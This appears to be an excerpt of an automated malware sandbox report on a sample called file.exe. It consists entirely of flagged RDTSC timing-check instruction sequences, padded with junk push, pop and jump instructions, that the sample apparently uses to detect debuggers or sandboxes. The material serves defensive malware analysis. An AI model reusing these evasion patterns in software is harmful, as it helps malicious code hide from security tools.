Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE87C second address: AFE88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1B50817826h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEA1D second address: AFEA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F1B51130FA3h 0x0000000a jmp 00007F1B51130F9Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBC7 second address: AFEBCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBCB second address: AFEBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBD1 second address: AFEBD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBD6 second address: AFEBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B51130F9Ah 0x00000009 pop eax 0x0000000a jc 00007F1B51130F9Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFED01 second address: AFED18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1B5081782Dh 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE27 second address: AFEE31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1B51130F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE31 second address: AFEE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE35 second address: AFEE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1B51130F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE41 second address: AFEE48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE48 second address: AFEE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B51130F9Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE5F second address: AFEE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEE63 second address: AFEE94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jp 00007F1B51130F96h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push esi 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007F1B51130FA9h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEFE3 second address: AFEFE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEFE7 second address: AFEFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEFF1 second address: AFEFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEFF7 second address: AFF001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1B51130F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDCDA second address: AFDCEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B5081782Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B06F48 second address: B06F62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F1B51130F96h 0x0000000b jne 00007F1B51130F96h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F1B51130F96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B06B0D second address: B06B1D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1B50817832h 0x00000008 jns 00007F1B50817826h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07718 second address: B0771D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B079FD second address: B07A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07CDB second address: B07CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07CDF second address: B07CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07CE3 second address: B07CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F1B51130F9Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07CF5 second address: B07D1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1B5081782Fh 0x0000000e jp 00007F1B50817826h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ACF3 second address: B0AD24 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1B51130F98h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b je 00007F1B51130F96h 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007F1B51130F96h 0x0000001e jmp 00007F1B51130FA3h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0AD24 second address: B0AD3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817833h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A6F8 second address: B0A6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A6FE second address: B0A72A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F1B5081782Ch 0x0000000e pushad 0x0000000f jmp 00007F1B50817834h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B115B9 second address: B115BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B115BD second address: B115DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 ja 00007F1B50817826h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F1B5081782Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F1B50817826h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B115DE second address: B115E8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B51130F96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1175B second address: B11762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B11762 second address: B1176F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14E79 second address: B14E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14E7E second address: B14EA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnc 00007F1B51130F96h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B51130FA0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15192 second address: B1519C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1B50817826h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1519C second address: B151A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15492 second address: B1549C instructions: 0x00000000 rdtsc 0x00000002 je 00007F1B50817842h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B157AC second address: B157C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B157C7 second address: B157D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B157D1 second address: B157D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E35 second address: B19E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E39 second address: B19E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F1B51130F9Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A0ED second address: B1A0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A0F8 second address: B1A150 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F1B51130FA9h 0x0000000d jng 00007F1B51130FABh 0x00000013 jmp 00007F1B51130FA8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B272 second address: B1B278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B278 second address: B1B27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B27E second address: B1B282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21676 second address: B2167B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B222C3 second address: B222D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F1B50817826h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22598 second address: B2259D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22865 second address: B22878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B5081782Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B22DF3 second address: B22DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AE71 second address: B2AE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B039 second address: B2B04B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B51130F9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B1AF second address: B2B1BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1B50817826h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B1BB second address: B2B1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B619 second address: B2B651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 pushad 0x0000000a jmp 00007F1B50817836h 0x0000000f jmp 00007F1B50817830h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B651 second address: B2B675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007F1B51130FB3h 0x0000000b jmp 00007F1B51130FA7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3261E second address: B3263A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F1B50817836h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B327D1 second address: B327D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32D63 second address: B32D72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B5081782Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32D72 second address: B32D82 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1B51130F96h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32D82 second address: B32DD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007F1B5081782Ah 0x0000000f jmp 00007F1B50817835h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1B50817834h 0x0000001b jmp 00007F1B50817835h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D58 second address: B33D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D5C second address: B33D6A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1B50817826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D6A second address: B33D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D6E second address: B33D87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817833h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31BC3 second address: B31BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F1B51130F9Ah 0x0000000b jl 00007F1B51130FA2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31BDB second address: B31BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D532 second address: B3D536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D536 second address: B3D563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F1B50817832h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1B50817831h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D563 second address: B3D594 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1B51130F9Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F1B51130F98h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jmp 00007F1B51130F9Fh 0x0000001a push edx 0x0000001b pop edx 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40C1D second address: B40C48 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B5081782Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007F1B50817826h 0x00000011 jmp 00007F1B50817832h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40C48 second address: B40C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40C54 second address: B40C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40C5E second address: B40C62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40C62 second address: B40C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40C6C second address: B40C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7C2 second address: B4D7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7C6 second address: B4D7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7CA second address: B4D7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D7D0 second address: B4D7ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 jl 00007F1B51130F96h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jng 00007F1B51130F9Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4F413 second address: B4F417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4F417 second address: B4F423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1B51130F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F02B second address: B5F032 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6558B second address: B655AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1B51130FA6h 0x0000000c jnc 00007F1B51130F96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65419 second address: B65423 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1B50817826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D801 second address: B6D80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1B51130F96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C317 second address: B6C31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C31B second address: B6C381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA7h 0x00000007 jmp 00007F1B51130FA3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f jmp 00007F1B51130FA4h 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jc 00007F1B51130F96h 0x0000001f pop edx 0x00000020 jmp 00007F1B51130FA7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C76A second address: B6C77B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1B50817826h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C77B second address: B6C77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C77F second address: B6C785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C785 second address: B6C790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1B51130F96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C8D9 second address: B6C8DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6C8DD second address: B6C8E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71237 second address: B7123C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70D44 second address: B70D79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1B51130FA0h 0x0000000b jmp 00007F1B51130F9Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B51130FA2h 0x00000017 rdtsc
